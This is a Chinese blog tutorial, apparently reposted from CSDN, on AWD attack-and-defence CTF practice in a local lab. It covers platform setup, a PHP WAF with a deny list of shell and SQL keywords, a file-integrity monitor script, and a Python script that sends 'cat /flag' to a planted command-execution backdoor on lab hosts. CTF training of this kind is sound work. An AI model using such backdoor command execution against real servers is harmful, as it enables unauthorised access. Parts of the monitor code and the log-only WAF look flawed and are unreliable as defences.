p80 红蓝对抗-AWD 模式&准备&攻防&监控&批量

数据来源

 何为AWD

AWD 常见比赛规则说明:

Attack With Defence,简而言之就是你既是一个 hacker(黑客),又是一个 manager
比赛形式:一般就是一个 ssh 对应一个 web 服务,然后 flag 五分钟一轮,各队一般都有自己的初始 分数,flag 被拿会被拿走 flag 的队伍均分,主办方会对每个队伍的服务进行 check check 不过就扣 分,扣除的分值由服务 check 正常的队伍均分。
其中一半比赛以 WEB 居多,可能会涉及内网安全,攻击和防御大部分为前期培训内容

前期准备:

  1. 队伍分工明确
  2. 脚本工具环境完整
  3. 漏洞 POC/EXP 库完整
  4. 安全防御 WAF 及批量脚本完整

必备操作:

  1. 备份网站文件
  2. 修改数据库默认密码
  3. 修改网页登陆端一切弱密码
  4. 查看是否留有后门账户
  5. 关闭不必要端口,如远程登陆端口
  6. 使用命令匹配一句话特性
  7. 关注是否运行了特殊进程
  8. 权限高可以设置防火墙或者禁止他人修改本目录

演示案例:

  • 防守-部署 WAF-实现第一时间拦截部分攻击-升级后续版
  • 防守-扫描后门-实现第一时间利用预留后门攻击-升级脚本版
  • 防守-代码审计-实现第一时间找出源码中安全漏洞-升级漏洞库版
  • 防守-文件监控-实现第一时间监控当前目录文件操作-升级流量监控
  • 攻击-批量 Flag-实现第一时间利用脚本批量 Flag 得分-升级模版不死马

线下AWD安装步骤:

1)安装Ubuntun环境(注意国内的镜像用第二步的,不要用这步的下载太慢,这一步下载安装完虚拟机就好)

Ubuntun镜像不建议用命令行安装,建议直接安装虚拟机:(我在kali用命令行安装搞了一天都没弄好)Ubuntun国内镜像下载及虚拟机安装与换源_ubuntu镜像下载 

建议虚拟机安装完先保存一个快照,方便恢复。 

2)参考:AWD线下攻防平台搭建 | 码农家园 继续后面的安装

3)参考:https://www.cnblogs.com/Triangle-security/p/11332223.html 继续后面的安装就能安装成功了

如果你的虚拟机没有安装python,就在命令行输入: sudo apt install python
# 这个是安装python2    如果要安装3就在后面加上3,不过这里需要2.x的版本

安装成功 

 最后记得保存虚拟机的快照

4)为了方便操作,在真实机连接靶机:xfp 7与xshell 7

查看Ubuntun虚拟机的ip信息在命令行输入:ifconfig

如果输入“ifconfig”命令报错后,可能是没有安装net-tools工具,可输入以下命令安装即可

sudo apt install net-tools

我们需要的是虚拟的ip通过这个ip来操作靶机 

连接靶机的端口与账户/密码 

开始连接

如果你要查看或下载/修改目标文文件,那就切换为Xshell 7

 其他两个靶机也可以这样操作,以后就可以在真实机操作靶机了,我这里就不演示了,操作都是一样的,第二个靶机的端口是为2202,第三个2203,以此类推

5)把靶机的文件先备份,因为被攻击之后文件可能会发生变化后面要做代码审计也方便

 下载太慢我直接从靶场拖出来,这里就是演示一下下载的操作

6)在真实机访问靶机的web网站靶机1:192.168.1.6:8801、靶机2:192.168.1.6:8802  ...   

7)查看实时分数:http://192.168.1.6:8080/score.txt

如果嫌弃这个页面丑就改成别人做的页面,计分板源码下载(参考:AWD简单介绍和搭建AWD平台_super 硕的博客-CSDN博客

链接:https://pan.baidu.com/s/1xF9uZpKUZTZt_OOfpoOrOw 
提取码:qwer

计分板文件拷贝至awd-platform下的flag_server文件夹下,然后将文件score.txt与result.txt文件权限调至777,这样才能刷新出分值。


记分板里面的index.php文件需要将IP换成自己虚拟机的IP 

最终效果(这个是夜莫离大佬做的页面):http://192.168.1.6:8080/

案例 1-防守-部署 WAF-实现第一时间拦截部分攻击-升级后续版

最快第一时间操作,此类技术核心准备为各个环境的 WAF 部署(源码语言,比赛规则)

waf文件路径:\AWD红蓝对抗资料工具-小迪安全\Prepare-for-AWD-master\Defense  (资料下载链接在文章尾部)

如果不想下载就自己创建一个这样的waf.php文件

<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');	
function waf() {
    if (!function_exists('getallheaders')) {
        function getallheaders() {
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
            }
            return $headers;
        }
    }
    $get = $_GET;
    $post = $_POST;
    $cookie = $_COOKIE;
    $header = getallheaders();
    $files = $_FILES;
    $ip = $_SERVER["REMOTE_ADDR"];
    $method = $_SERVER['REQUEST_METHOD'];
    $filepath = $_SERVER["SCRIPT_NAME"];
    //rewirte shell which uploaded by others, you can do more
    foreach ($_FILES as $key => $value) {
        $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
        file_put_contents($_FILES[$key]['tmp_name'], "virink");
    }
    unset($header['Accept']); //fix a bug
    $input = array(
        "Get" => $get,
        "Post" => $post,
        "Cookie" => $cookie,
        "File" => $files,
        "Header" => $header
    );
    //deal with
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
    $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
    $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
    $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
    $vpattern = explode("|", $pattern);
    $bool = false;
    foreach ($input as $k => $v) {
        foreach ($vpattern as $value) {
            foreach ($v as $kk => $vv) {
                if (preg_match("/$value/i", $vv)) {
                    $bool = true;
                    logging($input);
                    break;
                }
            }
            if ($bool) break;
        }
        if ($bool) break;
    }
}
function logging($var) {
	date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
	$time=date("Y-m-d H:i:s");//将时间赋值给变量$time
    file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
    // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
    
}
waf();
?>

然后修改数据库配置文件(为啥修改:网站基本都会包含数据库配置文件,数据库配置文件包含waf文件的)

include('waf.php')

如果需要升级:GitHub - DasSecurity-HatLab/AoiAWD: AoiAWD-专为比赛设计,便携性好,低权限运行的EDR系统。

案例 2-防守-扫描后门-实现第一时间利用预留后门攻击-升级脚本版

最快第一时间操作,此类技术核心在于扫描源码中预留或隐藏后门(源码语言)

扫描后门有很多种工具可以进行:扫描工具,我这里使用安全狗做演示:

案例 3-防守-代码审计-实现第一时间找出源码中安全漏洞-升级漏洞

最快第一时间操作,简要分析可能存在的安全问题,配合流量监控及代码审计后续操作 ( 框架及非框 架,源码语言,漏洞库等) 进行漏洞判定

Seay源代码审计系统——(只支持PHP语言,单一,速度快,审计结果相对Fortify较少)

github下载:https://github.com/f1tz/cnseay

直接下载:https://download.ihsdus.cn/down/2022down/3/01/Seayydmsjxt.rar?timestamp=640dd

使用:

也可以选一条漏洞信息双击打开对应的文件

 更多操作参考:代码审计:Seay源代码审计系统实例演示 | | 安云网 – AnYun.ORG

Fortify——(支持语言丰富,速度较慢,审计结果更多、更详细)

安装完成后打开软件:


扫描结果是按照漏洞类型分类的:

案例 4-防守-文件监控-实现第一时间监控当前目录文件操作-升级行为监控

最快第一时间操作,在防守攻击时,实时监控当前目录文件上传删除等操作,有效防止恶意删除 , 上 传后门等,后续可配合流量操作行为监控找出更多漏洞

1)准备脚本文件monitor.py,文件路径:\AWD红蓝对抗资料工具-小迪安全\awd脚本  (资料下载链接在文章尾部)

如果不想下载就自己创建一个这样的monitor.py文件

# -*- coding: utf-8 -*-
import os
import re
import hashlib
import shutil
import ntpath
import time
import sys

# 设置系统字符集,防止写入log时出现错误
reload(sys)
sys.setdefaultencoding('utf-8')
CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_B0503373BDA6E3C5CD4E5118C02ED13A' #drops_md5(icecoke1024)
bakstring = 'back_CA7CB46E9223293531C04586F3448350'          #bak_md5(icecoke1)
logstring = 'log_8998F445923C88FF441813F0F320962C'          #log_md5(icecoke2)
webshellstring = 'webshell_988A15AB87447653EFB4329A90FF45C5'#webshell_md5(icecoke3)
difffile = 'difference_3C95FA5FB01141398896EDAA8D667802'          #diff_md5(icecoke4)

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
# 文件MD5消失即为文件被删除,恢复文件
    except Exception, e:
        print u'[*] 文件被删除 : ' + getUnicode(filepath)
    shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filepath)), filepath)
    for value in Special_path:
        mkdir_p(Special_path[value])
        ORIGIN_FILE_LIST = getfilelist(CWD)
        FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    print u'[+] 被删除文件已恢复!'
    try:
         f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
         f.write('deleted_file: ' + getUnicode(filepath) + ' 时间: ' + getUnicode(time.ctime()) + '\n')
         f.close()
    except Exception as e:
         print u'[-] 记录失败 : 被删除文件: ' + getUnicode(filepath)
         pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------持续监测文件中------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) 
    print u'[*] 所有文件已备份完毕!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] 查杀疑似WebShell上传文件: ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                        print u'[+] 新上传文件已删除!'
                    except Exception as e:
                        print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('new_file: ' + getUnicode(filepath) + ' 时间: ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] 记录失败 : 上传文件: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] 该文件被修改 : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                        print u'[+] 文件已复原!'
                    except Exception as e:
                        print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('difference_file: ' + getUnicode(filekey) + ' 时间: ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] 记录失败 : 被修改文件: ' + getUnicode(filekey)
                        pass
        time.sleep(2)

2)上传脚本文件到目标靶机

3)在Xshell 7远程运行脚本 

前提需要链接Ubuntu虚拟机,而不是靶机,要连接虚拟机就要开启22端口

建议把编辑配置文件的命令:vi 改成 gedit    # 这样可以用文档打开进行编辑比较方便 

设置完成后不用重启虚拟机重启ssh服务就好:
service sshd restart

最后开始运行脚本 

cd ./桌面/awd-platform/team1                     # 切换到app目录下

python monitor.py                                       # 这是个pyhton文件所以要用pyhton来运行

4)脚本功能演示

随便找个文件先备份下来再删除

 回到虚拟机的终端查看

回到我们的靶机文件刷新检查一下

上传文件也是做不了,可以自己尝试

总结

  • 文件监控的作用:解决webshell上传或删除文件的操作
  • 缺点:如果攻击不需要借助webshell的,文件监控防御不了
  • 解决方案:配合流量监控与代码审计。

案例 5- 攻击-批量 Flag -实批现第一时间利用脚本量 Flag 得分升级权限维持版

攻击第一时间操作,写好批量获取 Flag 脚本后,预定 Flag 更新时间,实现自动获取及提交,升级后门写入及不死马等操作,实现权限维持实时获取得分

写批量攻击脚本,随便找个awd项目存在的后门文件基于这个后门来写攻击脚本,这里只是用一个后门文件举例其他文件写法也类似,主要就是学习攻击思路。

攻击脚本,创建一个  awd_fIag.py

import requests

# http://192.168.1.6:8080/
# taam1 8801  taam2 8802
# 注意:我这里将team1设置为攻击者(自己),所以获取fiag时就不获取team1
def get_fiag():
    """
    get_fiag 函数获取flag文件的内容
    :return: None
    """
    data = {
        'shell':'cat /flag'                           # footer.php文件的漏洞是命令执行,接收命令的变量就是:shell   执行cat /flag 命令获取flag文件里内容,然后提交我们就会得分
    }
    for i in range(8802,8804):                       # 这里循环2次,range(num1,num2) 生成一个数字序列,不包括num2自身(这里捕获去8801因为这个是我自己,不能攻击自己)
        url = f'http://192.168.1.6:{i}/footer.php'   # 拼接靶机的url
        # print(url)
        result = requests.post(url,data=data).content.decode('utf-8')        # content方法取出响应的数据,后门文件的请求就是post所以我们这里也是post请求
        print(result)
        with open('flag.txt','a+') as f:             # with open() 打开文件会自动关闭,不写with 就要手动关闭
            f.write(result+'\n')                     # write() 文件写入的方法, +'\n' 让数据换行

def tijiao_flag():
    """
    tijiao_flag 函数将flag内容提交到靶机获取分数
    :return:
    """
    for flag in open('flag.txt'):                     # 将刚才存入到flag.txt文件的数据取出
        flag = flag.replace('\n','')                  # replace() 方法替换字符,这里将 \n换行替换为空
        # flag_file.php?token=teamX&flag= 是awd固定的提交路径
        url = f'http://192.168.1.6:8080/flag_file.php?token=team1&flag={flag}'    # 上面将team1所以这里也就是team1代表攻击者,就会给我加分
        requests.get(url)                             # 发送get请求

if __name__ == '__main__':             # __main__ 代表当前模块,这的判断就是在当前模块里面的代码才会执行
    get_fiag()
    tijiao_flag()

攻击之前分数

 攻击之后

结束比赛(结束之后原来的靶机会被删除,再创建再生成)

进入项目目录

sudo su   # 切换为管理员权限
python stop_clean.py

下次再开启比赛

启动镜像

进入项目目录

复制3个web_yunnan_simple的靶机,数值可改

python batch.py web_yunnan_simple 3

启动三个docker靶机和check服务器、flag_server服务器。数值可改 

python start.py ./ 3

在当前目录下,连接裁判机

docker attach check_server
python check.py

check时间和flag刷新时间 

涉及资源:

https://github.com/zhl2008/awd-platform
https://github.com/yemoli/prepare-for-awd
https://github.com/leohearts/awd-watchbird
https://github.com/DasSecurity-HatLab/AoiAWD
https://www.cnblogs.com/Triangle-security/p/11332223.html
https://pan.baidu.com/s/1qR0Mb2ZdToQ7A1khqbiHuQ 提取码:
xiao

猜你喜欢

转载自blog.csdn.net/weixin_43263566/article/details/129450353